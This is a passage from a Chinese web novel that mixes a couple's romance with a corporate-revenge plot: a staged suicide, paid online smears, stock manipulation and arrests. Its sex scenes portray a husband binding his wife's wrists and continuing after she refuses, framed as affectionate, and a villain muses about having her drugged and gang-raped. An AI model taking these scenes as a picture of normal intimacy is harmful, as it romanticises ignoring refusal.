所有队员教练、队医都必须吃住在队里,住宿舍,吃食堂。林晚是因为家就在京市本地可以申请外出居住。但从四月份开始, 就算住在京市本地也要搬回宿舍里。 祁南骁依依不舍, 林晚往行李箱装一件衣服, 他就往外拿。林晚起初还纵容他这种幼稚行为, 直到察觉他压根没有停下来的意思。林晚忍无可忍,扔下衣服, 抱臂看着他:“你干什么?” 祁南骁见状立即蹭过来伸臂将她揽在怀里,林晚挣了下,没好气道:“你都多大了,幼不幼稚?” 祁南骁吻她的眉眼, 一下一下,像小鸡啄米, 不多时往下挪,林晚避开道:“想睡沙发就直说。” 祁南骁闷声道:“别这么凶,往后几个月都不能一直睡了, 就不能对我温柔点?” 林晚瞪着他道:“我周日放假不是可以回家住吗?” 祁南骁摸了摸她的后脑:“一个星期就滚一次床,一个月才四次, 万一遇到你例假,还得少一次。我太难了。” 说罢,祁南骁吻住林晚的锁骨, 像啃食的野兽,温柔又粗暴。 林晚咬牙敲了下他的脑袋:“你自己说说从昨晚到今天晚上,我陪你疯了多少次?” 祁南骁蹭着她的肩窝,闷声闷气:“还不够。” 林晚无语,两人从昨天就一直撕混到现在,除了吃饭上厕所就被他拉上床‘打架’,到现在她的腿都是软的,他居然还说不够,他是牛吗? 一身蛮劲! “别想了,那种事太多了对身体不好。” 祁南骁不听继续纠缠,死死缠着林晚的腰,她刚洗完澡身上还有淡淡的甜香味,很好闻。她的气息就跟他身体的开关键一样,一但闻到,他就压制不住自己体内的躁动。 林晚见他装死,干脆推开他。这一次祁南骁故意被推开。林晚眼前豁然开阔,却不想下一刻就被祁南骁压在柜子上。与此同时,祁南骁已经快速将她抵住,抬起她的下巴,二话不说,就吻了下来,唇齿被撬开,熟悉的滑腻触感长驱直入,林晚试着推了推身前的人,祁南骁浑身绷得跟钢板似的,压根推不动。 当吻已经无法宣泄内心的躁动时,祁南骁便直接蛮横的把林晚扛肩而起,他很高,猛然被这样扛着,林晚挣扎着要下来,祁南骁对着她的屁股轻拍一巴掌。林晚顿时不敢动了,再挣扎下去,她都不知道他会干什么不要脸的事。 祁南骁走到床边,特意弯下腰把林晚卸到床上,还不等林晚起身,他就举起双臂直接把短T脱掉,轮廓清晰的胸肌和腹肌尽数从衣襟中显现。 林晚当即起身要跑,祁南骁已经抽出皮带,倾身把她压在床上,熟练的把她的手腕用皮带锁住高举头顶。 “祁南骁!”熟悉的气息包裹着她,林晚惊呼。 祁南骁置之不理,他俯身头埋在林晚锁骨上:“嗯,我在。” 林晚怒力忍着,抽空骂道:“你混蛋。” 祁南骁低笑一声,抬起头,舔了下唇瓣,鼻梁抵着她的马甲线,笑道:“还能更混,你要不要试试?” 林晚当即咬住唇瓣收声,之后连续好几秒都是咬着牙忍着,只剩下呜咽的呻吟声。 他吻的很凶,林晚扛不住,只能低声求他,祁南骁说:“明天之前,你的时间只能属于我。” 林晚说:“不行。” 祁南骁将她圈紧,呼吸深重,半晌后道:“没事,你不行,我还行。” 林晚终是抵抗不了他,只能任他戏弄。 中途电话响,林晚浑身紧张,祁南骁呼吸不匀,顿住,半晌哀求她:“老婆” 两人还黏在一起,林晚声音颤抖道:“电话。” 祁南骁深吸一口气,俯下身:“不管。” 林晚快要哭了,这种时候她根本放松不下来:“你快点接电话。” 祁南骁头发都是麻的,紧紧抱着林晚,丝毫不管床头柜上的电话 结束后,林晚趴在他身上,祁南骁一手覆在她后腰间,有意无意的摩挲着她的脊背,一手拿起床头柜的电话,回拨给莫白。 电话接听,祁南骁声音慵懒低沉的‘喂’了一声。 莫白顿了下,似是想到什么,脸色有点尴尬,但这事十万火急,不得不现在找祁南骁。 “南哥,陈雪茹死了。” 林晚靠得近,当即就听到莫白的话,从他身上下来。两人皆是露出惊诧,对视一眼,当即脸色一变。 祁南骁坐起身,眉心微蹙,把电话开扩音:“怎么死的?” 莫白道:“说是自杀,留了遗书说是被我们逼死的,警方应该很快会去找您例行调查。” 林晚闻言,一脸沉重,祁南骁冷笑:“这是什么屎都想甩我们身上了。”  莫白道:“需要对可能上演的舆论提前做好准备吗?” “不用,他们不是爱玩吗?那就看看他们还能耍什么栽赃陷害。”祁南骁语气淡漠慵懒,深邃的黑眸冷漠中带着倨傲。 林晚抬眸看了他一眼,祁南骁冲她眨了眨眼睛,无声安抚。 莫白道:“警方可能明天会过去找您例行调查。” 祁南骁道:“好。” 电话挂断,林晚马上问:“陈雪茹怎么会自杀?她那么有钱没道德的人,怎么会想不开?” 祁南骁拉着她的手,在她掌心上捏了几下,眸底闪过一抹狠戾:“是不是自杀的还不一定。” 林晚瞳孔惊诧:“你怀疑她是被人给杀了故意伪造成是被你给逼自杀的?” 两人面对面坐着,祁南骁说:“她死了,谁的利益最大?” 林晚有些出神,自从上次陈雪茹打她一巴掌后,祁南骁就安排人对周氏集团围剿。原本他只是想让周氏栽个大跟头,结果没想到周氏内部反而顶不住‘溃烂’了。据说原本的管理层被踢走大半,换了一批人上去,把整个公司搅得乱七八糟。 想到这,林晚立马想到一个人:“窦铭。” 祁南骁勾起唇角道:“现在被拉出来挡枪的是我们,收益最大的却是那个姓窦的。我们跟姓窦的本身就有矛盾。这其中的利弊很清楚。” 林晚垂眸,卡壳的脑路彻底被理清:“窦家明明不缺钱,却还要窦铭委曲求全跟陈雪茹在一起,难道他们图的一直都是周氏?” 祁南骁摸了摸林晚的脑袋,宠溺道:“周氏跟窦家有很多重复业务,且周氏创始人意外去世。整个集团群龙无首就落在陈雪茹手上。虽然公司未必能落在窦家手里,但他们可以在这里面运作想办法让周氏从内部崩溃,抢走周氏的市场份额。这事本来可以细水长流慢慢做,但窦家前段时间被我们曝光打压后资金链出现严重的问题。他们急需一大笔资金输血。” 其实祁南骁没有告诉林晚,周惠在这段时间里也找过她,被他安排的保镖提前查到给阻挠了。在他看来,周惠连见林晚的资格都没有。 林晚问:“那你现在想怎么做?” 祁南骁抬眸,慢半拍回道:“这件事不着急澄清,就先让他们闹,不但要让他们闹,我们还应该添油加醋。” 林晚想到什么,笑了:“你是想让他们把火烧得越旺,最后反噬到他们自己身上?” 祁南骁点头。 要想让其亡,必先让其狂。 当天晚上,两人照常安心睡觉,丝毫不被影响。等到第二天,林晚起来吃早餐刷新闻时才看到陈雪茹自杀的事被大量报道。 一段几分钟视频里,陈雪茹的表弟举着身份证自称实名举报,蓝盛资本以权压人,对他表姐陈雪茹长达一个月的威胁。 全程哭诉他表姐陈雪茹死了丈夫后一个女人如何艰辛支撑着整个周氏集团,让几千员工没有失去工作。在这个期间,她遇到了一直支持自己的窦铭,两人惺惺相惜便谈起恋爱,然而她因为太爱那个男人被蒙蔽了双眼,不小心得罪了蓝盛资本的老板娘。 对此陈雪茹在遗书里表示很后悔,她多次上门道歉求原谅,都没有见到祁夫人。之后,周氏集团就遭到了祁家的全力围剿,她也表示自己多次收到别人威胁,如果她不死,整个周氏就要亡。 陈雪茹不想让周氏那么多员工因为自己没了工作,再加上长期受到某些人的威胁,她出现了抑郁症,最后选择自我了断。 之后便有水军下场各种报道陈雪茹生前做了哪些公益贡献,她如何陪前夫从一无所有开始起家到了如今的地位。又有人说周氏对员工很好,有各种福利,能在周氏上班就是最好的选择。 总之网上的陈雪茹就是一个心地善良,有点小缺点但对员工很好的女企业家。却因为一时冲动得罪了权贵,而遭到权贵的打压威胁,从而失去生命。 此视频经过一晚上的发酵,迅速在全网炸开。热搜前几条包揽了‘蓝盛资本’‘陈雪茹自杀’‘民族企业遭到迫害’等敏感字眼。一时间,林晚和祁南骁都上了热搜,并且在有心人的故意运作下成了热搜第一。 事情发酵时,林晚跟祁南骁已经到达体育局了,两人在车上摩擦了半天,林晚忍无可忍:“我要下车了。” 祁南骁像极了第一次送孩子上幼儿园的家长:“我陪你去宿舍。” 林晚说:“你进不去。” 祁南骁坦然道:“我给你们局长助理打个电话,放我进去。” 林晚眼带狐疑:“你能不24小时黏着我吗?”从前天晚上到今天早上,他黏着她都多久了。 祁南骁拉着她:“婚姻里总要有一个黏人的,你不黏我,只好我黏着点你,我们才不会走远。” 林晚道:“听起来你很有经验哦!” 祁南骁抱着林晚,正准备用嘴堵住她的胡说八道,中控响,他接通,传来司机的声音:“祁先生,有人在偷拍你和夫人。” 祁南骁顺着后座往后看一眼,体育局马路对面的垃圾桶后面有一个相机长炮镜头正对着他们的车,他沉着脸说:“把人揪出来。” 林晚闻言,侧头看了眼祁南骁。祁南骁挂断中控,声音如常道:“有人偷拍。” 林晚顺着他的视线往后看,司机已经跑过去抓人了。 祁南骁对林晚说:“我下去看看,你不用下来。” 司机也是练家子没多久就把逃跑的狗仔抓了回来,连带着他的相机也被拿了过来。祁南骁接过司机递过来的相机,看了眼里面的照片,发现只拍了他的车牌号,以及对着他车子的视频,看样子是想录下他和林晚下车的视频。 那狗仔见到祁南骁,反倒是挺直腰板,抬着下巴道:“你们想干嘛?你们抓我是犯法的。” 祁南骁嗤笑一声问道:“你是谁派来的?” 狗仔绷紧身体,梗着脖子不屈服:“我是代表人民来监督你们的。” 祁南骁像看傻子一样看着他,对于这种傻缺,祁南骁懒得跟他多说一句话,直接把相机里的内存卡给拔了。 那狗仔挣扎着要抢,祁南骁直接把相机扔了过去,狗仔吓得赶紧护相机。 祁南骁拿着内存卡直接回到车上,司机留在原地给那狗仔扔了笔现金算是赔偿他的内存卡。 林晚见祁南骁回来,关心道:“怎么了?” 祁南骁面色如常的道:“狗仔偷拍。” 林晚蹙眉:“那边安排的?” 祁南骁将手里的内存卡剪断道:“还不清楚,我让人去调查了。” 林晚闻言,不再说什么:“我要下车了,你赶紧回去吧。你现在也是半个名人,要是敢趁我不在家在外面花天酒地被人偷拍了,我们就完了。” 祁南骁忽然捏住她的下巴,深深的吻了下去。 林晚被吻得连气都喘不了,又舍不得打他,只能任由他作祟。 这个吻一直持续到,林晚觉得快要窒息了,祁南骁忽然度来一口气,才放开她,他呼吸沉重,沉声说:“我不会给你机会甩了我的。” 林晚目视前方,没出声,一直调整呼吸。祁南骁追问:“我每天都给你报备行程,晚上给你打视频打到通宵好吗?” 林晚横了他一眼:“不好,我要训练,没时间理你。” 祁南骁似笑非笑:“没关系,我可以等你休息了再找你。” 林晚:“” 两人还在车上搂搂抱抱时,网上舆论再次翻天覆地。 有人带节奏搞阴谋论,表示祁家这是要搞垄断,呼吁上头好好撤查,这种搞垄断的资本家早就该毁灭了。 诸如此类的话,比比皆是。 热搜高挂第一,事情愈演愈烈,蓝盛资本早在第一时间就发声斥责陈雪茹表弟单方面的言论,表示已方于陈雪茹女士的自杀毫无关系。但并没能就此堵住悠悠众口。 与此同时,又有一股势力在全网将热搜撤掉,删新闻,去词条,封好。 陈雪茹表弟更是在直播间里上演自己被人用力敲门骚扰的戏码。 这事就是个导火索,一下子点燃了群众的炸药库,越来越多人站出来指责祁南骁富可敌国,权势滔天,目无王法。 是谁给了祁家如此大的权利,祁家凭什么要阻止老百姓发声? 究竟是他目中无人还是做贼心虚? 同时有人带节奏支持周氏集团的产品,支持陈雪茹,以及她的表弟。 一波节奏带下去,周氏集团的产品成交量呈指数增长,各大电商平台都有不少网友涌进去购买。以至于仓库压根就没有如此多的货可以供应,高层就让人把仓库那些过期的货换标签补上发出去。 有员工质疑这样不利于企业长期发展,反而被高层开除了。这个员工第一时间在网上提醒大家,却被不少网友冲,其中不少是窦铭他们买的水军。 夜店VIP包间里,一片纸醉金迷,秦东言叼着烟坐在昏暗处里。 窦铭搂着两个女公关跌跌撞撞往其中一间房间里去,伴随而来的还有他和女公关戏闹的娇喘声。 沈怀川余光瞅见了很是鄙夷,他给自己倒了杯酒跟一旁的秦东言道:“你找人撤了热搜?” 秦东言但笑不语。 沈怀川垂眸,热搜的事果然是秦东言一手安排的自导自演的戏。就连陈雪茹也是他暗示窦铭把她给杀了嫁祸给祁南骁。 秦东言这个男人一直都很邪性,他就像一条毒蛇一样,阴鸷狡猾,所有跟他有合作的人,他都有他们的把柄,包括他自己。这也是沈怀川内心很排斥跟他合作,但又不得不听从他吩咐的原因。 “接下来你有什么计划?” 秦东言吐了口烟,眼镜背后划过一抹精光:“处理我爸交给我的资产。” 沈怀川眉心微蹙脱口而出:“你要跑?” 秦东言笑容一顿,神色阴鸷的看向沈怀川。 沈怀川紧握酒杯,他咽了咽喉结转移话题:“不出你所料,今天A股开盘,我们的股票大涨。” 最近两个月,他旗下的产业一直受到各种阻挠。因为之前女网红被偷拍的事,酒店也面临起诉。他并不担心那个女网红,对方真要是个单纯的网红他直接一笔钱打发或者找个理由弄进精神病院就行。 可偏偏对方背后还有祁家和蒋家在推波助澜,他现在也头疼。关键是还找不到那个女网红,而她一直在网上发声操纵舆论。 导致他公司的酒店业务一落千丈,他表面是豪天集团的CEO,但股东高层可都是秦东言,说白了他就是个打工,秦家还有他背后的利益集团才是豪天的真正幕后黑手。 在这个节骨眼上,秦东言却早早通知他把集团几个主要业务依次卖给几个资方股东,其中最大的接盘侠一个就是窦铭那边联络的周氏集团食品和护肤品都被他们拍下。 随后秦东言高价出价收购这些资产,但是收购的条件是要他们分别在市面上将这几个产业洗白,尤其是舆论风向要从原来的差评向好转移。所以,收购款秦东言提出只能分开给。对方达到一个要求,秦东言便付一笔钱。 几个股东为了转变舆论恨不得亲自下场当人设,居然在几个月的时间里,真的扭转原本在沈怀川手里烂掉的业务,成为了年轻人喜闻乐见的酒店、食品、护肤品、教育等行业。 这边谈好了,秦东言转身找了个朋友手下一家岌岌可危的上市公司,两人合作设计了一个局。 在酒店、国际学校,护肤品,视频等业务好评不断之时,该上市公司发布公告增发股票声明考虑要买酒店、食品、护肤品、教育这几家公司的股份,以及还要用股票置换的方式收购秦东言手里的股份。 这个消息一出来加上舆论的炒作,A股的散户们都去研究这几家公司,一个酒店行业,一个是教育行业,一个女性向的食品、护肤品,怎么看都是前途光明。 散户们寻思着all in往里冲就对了。没多久,这俩公司的股价直接翻倍了。 投资这俩家公司的股民们都在狂欢,秦东言安排不少媒体、所谓的财经博主大肆炒作这几支股票,不少人都急眼了甚至加杠杆、贷款也要购入这两个公司的股票。 扬言,这把要是赢了,就是实现财富自由。 秦东言抿了口红酒,漫不经心道:“银行那5个亿的贷款拿下来没有?” 沈怀川蹙眉:“还没。约了陈行长吃饭,迟迟没答应。” 秦东言道:“尽快把贷款拿到,不惜一切代价。” 沈怀川瞳孔微动,如果一开始他还是怀疑的态度,那么此刻他可以断定秦东言肯定是要跑了。 秦东言最近不是处理手里的资产,就是在股票市场上大肆活动,如今还要他尽快把贷款的事拿下来。种种迹象都表明,秦东言在准备后路。想到这,沈怀川后背都湿了。 秦东言漫不经心的看了眼沈怀川,随即缓缓起身指尖弹了弹袖口上的褶皱,语气淡漠着开口:“什么该说,什么不该说,你心里有数。” 说完,他便起身往外走,女公关赶忙跟上去搂住秦东言的腰,娇娇艾艾。 沈怀川坐在原地,汗如雨下。他早该知道的,与虎谋皮,不会有好下场的。 如果按照秦东言的动作,他将会在国内卷走一笔巨款,而他如果不尽快做打算只会留下来成为替罪羊。 他不能成为这个替罪羊,他好不容易爬到今天这个人上人的地位,他不能再跌回去了,那不是归宿,那是万劫不复 —— 林晚住进宿舍的当天晚上,就收到祁南骁的视频。她这个房间是刚好分剩的,只有她一个人住。 林晚也不怕被别人听见,回到宿舍,下意识掖了下耳边的碎发,林晚慢半拍接了视频。 两秒后视频中映着熟悉的面孔,深邃的眉眼、高挺的鼻梁、祁南骁的镜头有点奇怪,仔细看才发现他是俯着拍的,这种死亡角度都能把他拍得这么好看,果然帅哥没有死角。 林晚道:“你在干嘛?” 祁南骁道:“放水洗澡。” 林晚起了捉弄他的心思:“一个人洗?” 祁南骁闻言举着手四处转一圈:“来吧,老婆大人好好检查下。” 林晚笑了笑:“不跟你玩了,你要洗澡,我就不打扰你了。” 祁南骁连忙道:“等一下,我给你看个东西。” 林晚眨了眨眼:“什么?” 祁南骁神秘兮兮:“你看好了,是个大惊喜,可别错过了。” 他这么一说,林晚倒真的起了兴趣,好整以暇的等着他转镜头。 祁南骁透过视频目不转睛的盯着林晚的眼,忽然镜头一转 林晚就这么猝不及防看见他大半光裸的腹肌,小麦色的,以及腰下的 一晃而过 待林晚想起那是什么后,顿时一阵红温,不是羞的,是被气的:“祁南骁!你是暴露狂吗?” 视频里重新恢复祁南骁的嬉皮笑脸:“惊不惊喜!” 林晚面无表情:“赶紧洗你的澡!” 祁南骁说:“你还想看吗?” 林晚:“我不想,辣眼睛!” “瞎说,你之前可喜欢它了,夹得紧紧的。” 林晚忍无可忍:“你的男德呢?” 祁南骁对着视频耍无赖:“只有这样你才能对我夜不能寐。” 林晚眼皮直跳:“你要不要脸?” 祁南骁说:“不要,都给你。” 林晚说:“我也不要,你自己留着,再见。” 祁南骁语气慵懒道:“我们分开的第一晚,你就忍心跟我聊五分钟的爱的?” 林晚丝毫不迟疑的挂了电话,祁南骁没有再打过来,只是回了个很贱的表情包。 第69章  他是希望 林晚在集训的同时, 祁南骁在外边非但没有轻松,反而忙得脚不沾地。 首当其冲的就是先是解决网上的舆论,他本人亲自到公安局接受调查。经过警方多次排查后, 证明他跟陈雪茹的死没有任何关系。随后公安局便对此事在网上做了一翻解释,却遭到大量网友的抵制和怀疑。 有些人是明显的水军, 有些是被带了节奏的普通人,在陈雪茹一家和祁家面前,许多人毫无理智的支持陈雪茹的表弟陈楠。 再加上, 陈楠的确会演戏, 一会儿直播自己被黑恶势力殴打威胁, 一会演自己被各种限流, 一会表示自己被祁家打压生活拮据等等各种手段层出不穷。 警察上门例行询问还被人拍进视频里,掐头去尾使劲抹黑还闹上热搜, 这事整得警察的公信力都出了问题。 上面不得不过问祁家,祁占山年近90了还要为了此时操心。 祁南骁得知此事后,气得恨不得把陈楠给沉海里。那些人正面对抗上赢不了他,也就只会搞些恶心人的事。禁词条降热搜的事, 是他们干的,锅是要他祁南骁来背的。 祁南骁忍无可忍, 直接让律师起诉陈楠造谣,寻衅滋事。 同时蓝盛资本还在官网上表明,坚决不会放过一个造谣者, 将会追查到底。 陈楠看到网上消息时,忐忑不安的给窦铭打电话:“窦铭, 祁家决定要起诉我了,这事到底要闹到什么时候才能结束?” 这事一开始就是窦铭怂恿他干的,只要他把舆论炒起来就给他一笔大钱, 还保证会保护他的安全,不让他被祁家报复。但是祁家还是对他出手了。 陈楠很清楚自己加上整个周氏都不会是祁家的对手,更别说周氏现在都被窦铭给控制了,他分到的只有一点钱,压根没有话语权。 窦铭面上冷笑,开口安慰道:“楠哥,再坚持一下。你放心,我们会给你请最好的律师。” 陈楠已经吃不下他画的大饼了,质问道:“造谣警察那件事,你们怎么不跟我商量一下就直接发布视频了?还给买上热搜,你们要干嘛?那可是警察!” 窦铭不以为意:“陈楠这段时间你涨粉这么多,也赚了不少钱了。还把周氏集团的俩大产业带火起来。这些热度可都需要你来维持,你可不能现在撂挑子。你儿子在美国要是遇到什么枪击可怎么办啊?” 陈楠当即脸色一变:“你威胁我?” 窦铭也知道不能把人逼得太紧,适当松了语气:“如今我们都是一条船上的人,只有我们大家都好,才能安全度过这场风暴。再坚持坚持,等把仓库库存清光,我就安排你们夫妻去见你儿子。” 陈楠收起手机,第一反应就是事情不会这么简单。这已经不是简单的跟祁家对抗,这是要他跟整个公检法对抗。 这些人目的很明显,就是要他当出头鸟激怒祁家,拉拉祁家下水,还要挑战权威,这事闹最后倒霉的可就是他了。 很明显窦铭跟他背后的人已经压根不想管他了,陈楠清楚的感觉到身不由己以及危险逼近的气息,他怕祁南骁真的搞他全家,更害怕权威。 当网上曝光卧底记者拍到他卖的儿童食品生产过程,并且还拍到生产工厂卫生脏乱不堪,还使用违禁品、致癌物时,陈楠就知道事闹大了,他兜不住,窦铭也靠不住。 陈楠回家后第一件事就是让妻子收拾行李:“赶紧收拾好衣服,咱们现在就去机场。” “怎么了?” “周氏集团的产品出问题了,我们之前带那么多货,很多小孩吃出问题,我们再不走就来不及了。按照原来的计划,我们先去香港,再去美国找儿子。” “好。” 夫妻俩用最快速度收拾好行李,连滴滴车都不敢叫,生怕被人认出来。 路上,李楠开车让妻子尽快计算下手里头的资产,脑中唯一的念头就是尽快把股票基金解套,积攒资金出国去找儿子,等儿子一毕业就留在美国工作,他们夫妻俩就能留在美国。他这段时间也赚了不少钱,资金加起来怎么也得上亿了,在美国怎么说也能过上中产的生活。 “怎么样?”李楠见妻子一直不说话,一边加速踩油门,一边询问。 他妻子握着手机的颤颤巍巍,见她这样,李楠不耐烦的侧头再次追问:“到底怎么样?我们买的那些股票都是优质股,就算跌也只是损失一点本金而已,你这是什么表情?” “没没了。” 李楠蹙眉:“什么没了?” 他妻子崩溃哭出声:“股票快跌没了。” 今天上午一则新闻横空出世,原本和秦东言合作的那家上市公司突然发布公告,大至意思是综合考虑下来,不考虑收购原本看好的公司。其中周氏的食品、护肤品更是一早被曝光源头工厂管理混乱、卫生安全堪忧,给顾客发的是过期产品等丑闻。 一时间,原本被炒作上去的几支股票当即立马大跳水,无数股民亏得底朝天。李楠原本在股票市场里只投入一千万本金,并且明令禁止他妻子投这几支股。 结果他妻子因为贪婪,见大家都买那几支股票涨了一倍多,她也跟着加仓,又投入了五千万,等于除了房子、车子她把家里的流动资金都投了2/3进去。光是一个早上就亏了几百万。 李楠知道后,怒不可遏地捶着方向盘:“我不是让你别碰那几支股票吗?” “我不知道,我看大家都买。” 李楠握着方向盘的手青筋暴涨:“他们吃屎,你怎么不去吃啊。你现在快点给我把股票解套。” “卖不掉了呜呜呜。” 李楠闻言,顾不得正在开车,伸手过去抢手机,看到手机屏幕里那停止交易的页面,气得脑袋一片空白,他眼里只有股票的红与绿,根本没看到红绿灯,行至十字路口,所有车都已经停下,只有他的车加速往前冲。 ‘砰!’的一声巨响,李楠驾驶的小轿车直接被赶着通过红绿灯的泥头车给压扁了。泥头车原是想刹车逼停的,没想到因为惯性车尾转了半圈还是侧倒在地,刚好把李楠那辆车给压得粉碎。 —— 车祸的事,在事发后半小时内就上了热搜,轿车里的两人都是当场死亡。 当得知死者就是李楠夫妻俩时,不少网友高呼:苍天有眼。 缺德的事干多了,老天都看不下去了。给小孩子吃的零食居然是用过期食品,还添加违禁品,这夫妻俩是生怕毒不死祖国的花朵! 无独有偶,网上很快有人曝光李楠私下里跟女公关厮混说漏嘴的视频。 视频里,李楠穿着浴袍喝得半醉在酒店里跟女公关吹嘘自己是人上人,如何在短短一个月里利用陈雪茹卖惨赚到一个亿,并且还对网友各种辱骂。 这个视频发出来后,马上引来各路大V,小V争相转发,网上一片哗然。网友拿你当同志,你拿网友当傻子。是可忍,孰不可忍。曾经支持李楠的‘家人们’一时间纷纷到网上讨伐他们夫妻俩。 然而,人死如灯灭,大家就是想要退款赔礼都找不到人了。 什么假一赔十都是假的! 周氏集团?更不用说了,人家主播都是直播时突然接到公司倒闭的消息。高层卷钱走人,公司几百上千员工闹到高层办公室门口才发现他们全跑了。 随后有个ID为‘上善若水’的账号发贴,说他曾经是周氏的高层之一,发了几千字长文,说他早在几个月前就辞职了。 期间提到了陈雪茹在她丈夫死后不出半年就有了新欢,并且纵容这个小白脸干扰公司。这个小白脸就是南市大名鼎鼎的窦家的少爷,窦铭! 在这半年期间,窦铭不断往公司高层塞人,且无法无天,目无王法,多次强制要求工厂生产的产品添加违禁品。并且往财务部塞自己人,卷走公司大量资金。 那时的周氏集团早已金玉其外败絮其中了。发贴人表示,他那时虽然已经离开周氏集团了,但还是私底下偷偷提醒陈雪茹注意窦铭,事后还将证据拿给她看。 当时陈雪茹也表现出很气愤,且扬言要让窦铭净身出户。 可就在发贴人见了陈雪茹不久后就看到了陈雪茹突然自杀的新闻。发贴人表示很震惊,看到网络舆论都转向祁家时,他就觉得事情不简单。 于是他一直暗中调查,最后发现窦家早在不久前就因为南市的扫黑除恶而被影响,海笙集团宣布破产。而那个时候也正是周氏集团的资金大量流失的关键时候。 发贴人怀疑,窦铭将周氏的资产偷偷转移到窦家。 不仅如此,发贴人还调查到窦铭疑似和某个有强大背景的人联合在股票市场做了个局。在南市的那场扫黑除恶行动中,沈怀川的豪天集团也被波及到,面临着资金短缺,合作商跑路,随时破产的问题。 豪天集团因此开始布局断尾求生,将集团产业打包分批卖了出去。其中食品和护肤品产业被窦铭接收到周氏集团。 从那开始便有人布局,某上市公司宣布要收购这些被豪天集团卖出去的产业,大肆报道并且增发股票。 但是只给了周氏集团1个亿,相当于该上市公司是用股民的钱去买了周氏集团的食品公司和护肤品公司。上市公司先拿走一部分资金,等窦铭那边联合陈楠利用陈雪茹的死大量炒作后,成功带起货把品牌打响。 该上市公司便在股价快速上涨时疯狂减持,在这个过程中捞了十个亿。 就在大家都以为这个上市公司是大赢家时,真正联合上市公司做局的秦东言才是真正的大赢家。 他用本属于自己的豪天集团,且已经是臭名昭著企业,成功运作起来,并且在股票市场上各种操作,空手套白狼赚了几十个亿。 同样的套路秦东言用过不只一次,只不过周氏集团因为窦家和祁家的原因被大众所着。在这场长达一年多的商业拉扯战中,秦东言疯狂敛财几百亿,同时还利用这些资产撬动银行,贷款出大笔资金。 秦东言这一疯狂举动,本应该早就被监控到的,并且及时给予阻止,可为何秦家依然可以如此无法无天? 凌岳发完贴子后,便退出页面,一口气喝干杯子里的威士忌。随即他便拨了个号码出去:“莫先生,贴子我已经成功发出去了。” “辛苦了。” “不辛苦,我也不想老周辛苦创下的基业被那些人搞成如此。” —— 事情发酵得很快,在祁南骁的推波助澜下很快上了各大主流社交软件的热搜。群众们义愤填膺,网民们怒不可遏自己的善良被陈楠欺骗了,股民们痛不欲生自己的钱被这些蛀虫捞走了。 秦东言早在贴子还没发之前就收到消息,收拾行李包路。 “保叔,来不及了,快点把这些文件烧掉。” “是。” 秦东言抬腕看了眼手表,随后从沙发上拿起西装外套便出了门上车。 路上,他接到窦铭的电话,不耐烦的接通。 “东言哥,你快救救我,警察不知道从哪里找到我杀了陈雪茹的证据正通缉我。” 秦东言讽刺一笑,傲慢轻蔑的语气道:“陈雪茹是你杀的,你找我做什么?” 窦铭闻言脸色一变,怒吼道:“秦东言你装什么装,那药还是你给我提供的,陈雪茹的死你也脱不了干系。” 秦东言嘴角扯起冷意,波澜不惊的挂了电话,随后直接把手机扔向窗外。一颗废棋就敢跟他叫板,他还是手段太温柔了。 车子一路飞弛,赶到了京市国际机场。 为了以防万一,秦东言还用了另一张身份证买了最早飞往新加坡的票,安检、候机一切都很顺利。 秦东言心底的情绪才逐渐放松下来,他拿着手里的老式按键机,笑得无比猖狂。视线落在护照上,金边眼镜后面的眸子露出不屑。 等他成功落地美国,下半辈子就有数不清的财富可以挥霍。祁南骁以为把他国内的产业搞垮了就能赢了他?做梦,真正的资金,他早就运作出来了。 就是可惜了,没有睡到林晚那样的大美人。 在这件事上,他承认是祁南骁赢了,早知道当初就在林晚还没有保镖保护之前,就把她骗出来想办法给弄晕找人轮了。 那样恶心祁南骁才有趣。 秦东言眼眸微眯,阴森森一笑,没关系,来日方长。 登记声响,秦东言慢条斯理起身,经过长廊时,他看到了那架即将带着他飞往自由世界的飞机,眼神阴鸷而狂热,如同一只即将失控的疯狗。 可就在他准备踏入飞机入口的时,身后两道高大的身影将他照住。 秦东言心底生起一股不详的预感,他下意识抬腿要跑,身后的警察立马行动三两下便把他摁在地上 “你们凭什么抓我?你知道我是谁吗?我是美国公民,你们没有权利抓我。”无论秦东言如何呐喊挣扎,警察依旧秉公办案。 同一时间,被抓的还有正逃往乡下的窦铭,他一身粗布烂衣坐在农民的三轮车里,想要逃避警察的抓捕。可惜在天网面前,任何活物都跑不了。 两人被抓后,很快供出沈怀川。 —— 转眼五月来到,这段时间里,祁南骁和方茗泽、蒋酌、梁景宸联手对抗秦家以及秦家背后的利益集团,双方的较量从商场到金融再到舆论,不死不休。 林晚的生活并没有什么变化,反而因为日渐临近的奥运会而更加刻苦训练。 网上的事,林晚不懂但也清楚秦家和他背后的利益集团彻底完了。周围队友都在讨论前段时间的股市动荡,有人庆幸自己没亏钱,有人后悔自己投了那几支股票赔死了。 林晚吃完晚饭,背上双肩包跟着吴添一起往大门走去。 明天是周日,可以休息。 吴添余光看见她神情雀跃,调侃道:“心情很好?” 林晚挑眉:“那可不,今天刘主任可是夸我进步很大。” 吴添背着手,瞪了她一眼:“收起你的尾巴,运动员最忌讳骄傲自负。” 林晚揽着他的肩膀,俩人像好哥们一样走着。 吴添道:“我看网上的事也该告一段落了,你爸那事什么时候出结果?” 如今说起林国冬,林晚不再那么心情沉重了,她道:“调查组跟我说快了。” 吴添语气轻松了不少,停下脚步看着林晚道:“这一年发生这么多事,相信你的心境也有所变化,蜕变成更加优秀的自己。期待你在奥运会上展露锋芒。” 两人此时刚好走到大门保安亭前,林晚回头,泛黄的路灯在她周围圈出一道淡淡的光,她的眼眸如星辰般光影灿烂,熠熠生辉:“是。我一定不辜负你的期望,一定会成为你手下最优秀的运动员。” 吴添轻扬唇角,转身离开时还冲背后的林晚竖起大拇指。 林晚也忍不住笑了,开朗而又充满生命力。 转身朝不远处的车子走去,祁南骁安排的司机和保镖一早就在门口等候。 打开车门坐了进去,看见后座上的人,林晚有些惊诧:“你今天怎么有空来了?” 这段时间,祁南骁一直忙于工作上的事到处飞,快半个月没来接她回家了。 祁南骁关掉手机,抬眼看着林晚,忽然捏着她的下巴,低头吻了上去。 两人唇舌相触,像是打开了潘多拉盒,越发浓烈。 祁南骁素了半个月,早就憋不住了,把林晚逼到角落越吻越凶,掌心也不老实钻进她的衣摆往里探。 林晚浑身发软,下意识看向车子前面,幸好挡板已经被按下,隔绝了前后。 “想不想我?”祁南骁低声问。 林晚脸红脖子红,软声道:“想。” 祁南骁马上低头啃着她的锁骨,她微微仰头,狭窄的车厢里,呼吸声被无限放大。 林晚怕他来真的,一把按住他的手,暗自调整好呼吸道:“饿不饿?” 祁南骁眼睛直勾勾的盯着她:“饿。” 